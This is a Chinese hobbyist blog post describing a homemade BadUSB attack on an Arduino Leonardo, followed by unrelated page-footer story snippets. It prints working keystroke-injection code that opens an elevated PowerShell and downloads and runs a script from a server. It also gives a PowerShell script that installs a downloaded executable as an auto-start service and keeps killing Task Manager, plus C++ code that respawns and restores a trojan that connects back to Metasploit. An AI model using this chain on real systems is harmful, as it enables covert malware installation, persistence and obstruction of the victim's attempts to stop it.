BadUSB-Arduino自嗨

前段時間了解到攻擊性硬件的概念挺狰,感覺很有趣俐填,于是萌生了自己動手嘗試一番badusb的想法伶氢。
于是在網(wǎng)上買了一小塊Arduino Leonardo (便宜的很)澈蟆,利用Arduino IDE并結(jié)合powershell腳本c++程序等簡單模擬一下病毒的攻擊流程墨辛。

關(guān)于usb

U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通訊和識別趴俘,閃存用來做數(shù)據(jù)存儲睹簇;閃存中有一部分區(qū)域用來存放U盤的固件,它的作用類似于操作系統(tǒng)寥闪,控制軟硬件交互太惠;固件無法通過普通手段進行讀取。
BadUSB就是通過對U盤的固件進行逆向重新編程疲憋,相當于改寫了U盤的操作系統(tǒng)而進行攻擊的凿渊。
現(xiàn)在的USB設備很多,比如音視頻設備、攝像頭等埃脏,因此要求系統(tǒng)提供最大的兼容性搪锣,甚至免驅(qū);所以在設計USB標準的時候沒有要求每個USB設備像網(wǎng)絡設備那樣占有一個唯一可識別的MAC地址讓系統(tǒng)進行驗證彩掐,而是允許一個USB設備具有多個輸入輸出設備的特征构舟。這樣就可以通過重寫U盤固件,偽裝成一個USB鍵盤堵幽,并通過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊狗超。

步驟

一.Arduino下載文件并執(zhí)行

曬一曬我的Arduino Lenardo:


image.png

安裝arduino IDE并編寫代碼。

#include<Keyboard.h> //包含鍵盤模塊頭文件
void setup(){ //初始化
Keyboard.begin();//開始鍵盤通信
delay(1000);//延時1000毫秒朴下,
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵 
Keyboard.press('r');//按下r鍵 CMD
delay(500); 
Keyboard.release(KEY_LEFT_GUI);//松掉win鍵 
Keyboard.release('r');//松掉r鍵 
delay(500); 
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);  //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //縮小窗口
Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*開啟管理員級別的powershell*/
delay(2000);
Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵
Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵
delay(500); 
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN);//釋放enter鍵
delay(3000); 
Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象
Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.124.129/VIRUS/STEP1.PS1','C:\\TEMP\\STEP1.PS1')");  /*從服務端下載Powershell腳本*/
Keyboard.println("C:\\TEMP\\STEP1.PS1");
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //縮小窗口
delay(500);
Keyboard.end();//結(jié)束鍵盤通訊 
} 
void loop()//循環(huán)努咐,這里的代碼
{ 
//循環(huán)體
}

邏輯比較簡單,模擬鍵盤操作打開cmd,Powershell并隱藏窗口殴胧,從服務器下載powershell腳本并執(zhí)行麦撵。這里由于不會繞過uac,于是用了比較蠢的鍵盤操作溃肪,方向鍵點擊確定按鈕免胃。
選好正確的開發(fā)板和端口:


image.png

編譯代碼:


image.png

上傳燒錄:
image.png

接下來,插入arduino就會自動運行動作了惫撰。

二.powershell下載文件并創(chuàng)建服務

我想讓powershell實現(xiàn)的功能是羔沙,去下載守護進程,創(chuàng)建一個自啟動服務厨钻,并實現(xiàn)一個阻止用戶打開任務管理器的功能扼雏。
關(guān)鍵代碼:

$src = 'HTTP://192.168.124.129/VIRUS/daemon.exe'
$des = "C:\\TEMP\\daemon.exe"
$client = new-object System.Net.WebClient
$client.DownloadFile($src, $des)
new-Service -name daemonService -DisplayName daemonService -BinaryPathName "C:\\TEMP\\daemon.exe" -StartupType Automatic
while($true)
{
    $tasksmanager = "taskmgr"
    $status = Get-Process $tasksmanager -ErrorAction SilentlyContinue
    If ($status)
    {
        foreach($p in $status)
        {
            $p|stop-Process -force
        }
    }
    Start-Sleep -s 1
}

后面設定好每隔一秒去關(guān)閉任務管理器,當然可以把間隔時間設的更小夯膀。

三 編寫守護程序

掏出了荒廢已久的c++ :)
計劃實現(xiàn)一個下載木馬文件并備份诗充,監(jiān)控木馬進程,自動重連和恢復文件的功能诱建。
找的網(wǎng)上的程序蝴蜓,做了點修改。
文件檢測并恢復:

BOOL checkFile(LPVOID strpath){
    char *path = (char *)strpath;
    if((fopen(path,"rb"))==NULL){
        return FALSE;
    }else{
        return TRUE;
    }
}
……
if(!checkFile(path[i])){
    source += "http://beifen";
    destination = (string)path[i];
    CopyFile(source.data(), destination.data(), FALSE);
    cout << path[i] <<endl;
}

進程監(jiān)控:

DWORD WINAPI Daemonproc(LPVOID lpParameter)
{
    char *path = (char *)lpParameter;
    cout << "child process " << path<< endl;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    do{
        if(!CreateProcess( NULL,path,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
        {
            cout << "創(chuàng)建進程失敗.." << GetLastError() << endl;
            return 0;
        }
        WaitForSingleObject( pi.hProcess, INFINITE);
        cout << "子進程已經(jīng)退出..." << endl;
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }while(true);
    return 0;
}

配置文件tellme.ini:

[PROCESSNUM]
num=1
[PROCESSPATH]
path1="C:\Update\step3.exe"

四.metaspoloit

metasploit生成一個反連馬俺猿。


image.png

五.final

最后把這幾個步驟結(jié)合起來
arduino下載step1.ps1并執(zhí)行;setp1.ps1下載其他文件茎匠,創(chuàng)建服務;啟動 daemon.exe,復制木馬到update目錄,并反連metasploit押袍。
最后的效果:


image.png

最后想要的效果是勉強實現(xiàn)了诵冒,但還是有很多的問題,比如這個powershell的窗口隱藏谊惭,因為我step1.ps1順便執(zhí)行了監(jiān)聽關(guān)閉任務管理器的功能汽馋,關(guān)掉界面功能就斷掉了侮东,最小化就沒法繼續(xù)輸命令;還有這個daemon.exe沒法自啟動豹芯,需要我手動啟動一下或者重啟悄雅;還有arduino第一次插入會安裝驅(qū)動器,我的win10成功安裝了告组,win7沒安裝成功導致用不了煤伟,郁悶癌佩。而且代碼實現(xiàn)的也很有問題木缝,東拼西湊的,有點亂围辙,也懶得繼續(xù)花功夫雕琢了我碟。不過確實挺好玩的,哈哈哈姚建。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末矫俺,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子掸冤,更是在濱河造成了極大的恐慌厘托,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,126評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件稿湿,死亡現(xiàn)場離奇詭異铅匹,居然都是意外死亡,警方通過查閱死者的電腦和手機饺藤,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評論 2 382
  • 文/潘曉璐 我一進店門包斑,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人涕俗,你說我怎么就攤上這事罗丰。” “怎么了再姑?”我有些...
    開封第一講書人閱讀 152,445評論 0 341
  • 文/不壞的土叔 我叫張陵萌抵,是天一觀的道長。 經(jīng)常有香客問我元镀,道長谜嫉,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,185評論 1 278
  • 正文 為了忘掉前任凹联,我火速辦了婚禮沐兰,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘蔽挠。我一直安慰自己住闯,他們只是感情好瓜浸,可當我...
    茶點故事閱讀 64,178評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著比原,像睡著了一般插佛。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上量窘,一...
    開封第一講書人閱讀 48,970評論 1 284
  • 那天雇寇,我揣著相機與錄音,去河邊找鬼蚌铜。 笑死锨侯,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的冬殃。 我是一名探鬼主播囚痴,決...
    沈念sama閱讀 38,276評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼审葬!你這毒婦竟也來了深滚?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,927評論 0 259
  • 序言:老撾萬榮一對情侶失蹤涣觉,失蹤者是張志新(化名)和其女友劉穎痴荐,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體官册,經(jīng)...
    沈念sama閱讀 43,400評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡生兆,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,883評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了攀隔。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片皂贩。...
    茶點故事閱讀 37,997評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖昆汹,靈堂內(nèi)的尸體忽然破棺而出明刷,到底是詐尸還是另有隱情,我是刑警寧澤满粗,帶...
    沈念sama閱讀 33,646評論 4 322
  • 正文 年R本政府宣布驻啤,位于F島的核電站批糟,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜弧岳,卻給世界環(huán)境...
    茶點故事閱讀 39,213評論 3 307
  • 文/蒙蒙 一戒职、第九天 我趴在偏房一處隱蔽的房頂上張望劲绪。 院中可真熱鬧爷抓,春花似錦、人聲如沸步淹。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至键闺,卻和暖如春寿烟,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背辛燥。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評論 1 260
  • 我被黑心中介騙來泰國打工筛武, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人挎塌。 一個月前我還...
    沈念sama閱讀 45,423評論 2 352
  • 正文 我出身青樓徘六,卻偏偏與公主長得像,于是被迫代替她去往敵國和親勃蜘。 傳聞我的和親對象是個殘疾皇子硕噩,可洞房花燭夜當晚...
    茶點故事閱讀 42,722評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 工欲善其事,必先利其器假残!看書的時候不要寫廢話 1.5.6Windows虛擬機 書中“墻裂”推薦win7和win8缭贡,...
    NoviceQAQ閱讀 1,313評論 0 2
  • 1、通過CocoaPods安裝項目名稱項目信息 AFNetworking網(wǎng)絡請求組件 FMDB本地數(shù)據(jù)庫組件 SD...
    陽明先生_x閱讀 15,968評論 3 119
  • 失戀不是件小事。 我當時站在窗戶邊接他的電話眶俩。聽到他要跟我分手的一瞬間莹汤,我能感覺到我的心臟停止跳動了,不開玩笑颠印,不...
    安慰記心理小店閱讀 2,759評論 2 0
  • 七月初纲岭,我們和我的同學去了山東的黃島,這還是我和的同學第一次去那么遠的地方的海邊呢线罕。我們不是自己去的止潮,是在媽媽的陪...
    大艾米閱讀 229評論 0 0
  • 茶是由茶葉泡制而成的。 茶葉是山茶科植物钞楼,常見灌木或喬木喇闸,茶樹上的嫩葉子,茶是咱們國家的特產(chǎn)询件。咱們國家早在周朝就有...
    潘潘的成長之路閱讀 270評論 0 1